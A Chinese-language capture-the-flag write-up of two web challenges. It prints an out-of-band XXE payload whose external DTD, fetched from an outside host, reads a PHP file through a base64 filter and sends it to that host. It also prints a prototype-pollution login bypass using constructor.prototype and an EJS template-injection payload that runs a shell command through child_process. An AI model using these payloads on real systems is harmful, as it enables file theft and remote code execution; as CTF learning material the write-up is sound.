web

Tell Me

刚开始以为是升级版的XSS, 后来发现不大对, 仅从`xss`不知道怎么搞到有效信息.

构造`dnslog`, 判断为XXE漏洞.

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "http://euzem7.dnslog.cn">
]>
<user><name>&xxe;</name><email>234</email><content>qwe</content></user>
```

构造`payload`, 访问`hacker`服务器上的`test.dtd`文件, 包含其中内容后执行.

```
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-
encode/resource=file:///var/www/html/flag.php">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://192.168.2.1/%file;'>">
```

`flag`文件路径可通过报错获得.

```
<br />
<b>Warning</b>:  DOMDocument::loadXML(): Opening and ending tag mismatch: link
line 5 and head in http://euzem7.dnslog.cn, line: 6 in
<b>/var/www/html/send.php</b> on line <b>10</b><br />
<br />
<b>Warning</b>:  DOMDocument::loadXML(): Opening and ending tag mismatch: div
line 5 and body in http://euzem7.dnslog.cn, line: 69 in
<b>/var/www/html/send.php</b> on line <b>10</b><br />
<br />
<b>Warning</b>:  DOMDocument::loadXML(): Opening and ending tag mismatch: body
line 5 and html in http://euzem7.dnslog.cn, line: 71 in
<b>/var/www/html/send.php</b> on line <b>10</b><br />
<br />
<b>Warning</b>:  DOMDocument::loadXML(): chunk is not well balanced in
http://euzem7.dnslog.cn, line: 72 in <b>/var/www/html/send.php</b> on line
<b>10</b><br />
<br />
<b>Warning</b>:  DOMDocument::loadXML(): Failure to process entity xxe in Entity,
line: 5 in <b>/var/www/html/send.php</b> on line <b>10</b><br />
<br />
<b>Warning</b>:  DOMDocument::loadXML(): Entity 'xxe' not defined in Entity,
line: 5 in <b>/var/www/html/send.php</b> on line <b>10</b><br />
<br />
<b>Warning</b>:  simplexml_import_dom(): Invalid Nodetype to import in
<b>/var/www/html/send.php</b> on line <b>16</b><br />
name,email,content cannot be empty
```

最终`payload`.

```
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://101.35.240.239/test.dtd">
%remote;%int;%send;
]>
```

Shared Diary

审计附件提供的源码, `app.js` 中有 `merge()` 函数, 是 `js原型链污染`.

`__proto__` 被过滤, 刚开始看了网上相关题目的讲解, 想通过加空格的形式绕过, 因为没有注意两道题目的差别, 没有走通; 后来在学长的提醒下使用 `constructor` 和 `prototype` 绕过, 成功登入页面.

```
{"username":"hacker","password":"hacker","constructor" : {"prototype":
{"role":"admin"}}}
```

进去之后就是 `SSTI` 了, 最终 `payload` 如下.

> 刚开始还想着怎么又是 `XSS`, 但同样是无法获取有效数据, 还是要提高对不同种类漏洞的敏感度...

```
<%- global.process.mainModule.require('child_process').execSync('cat /flag') %>
```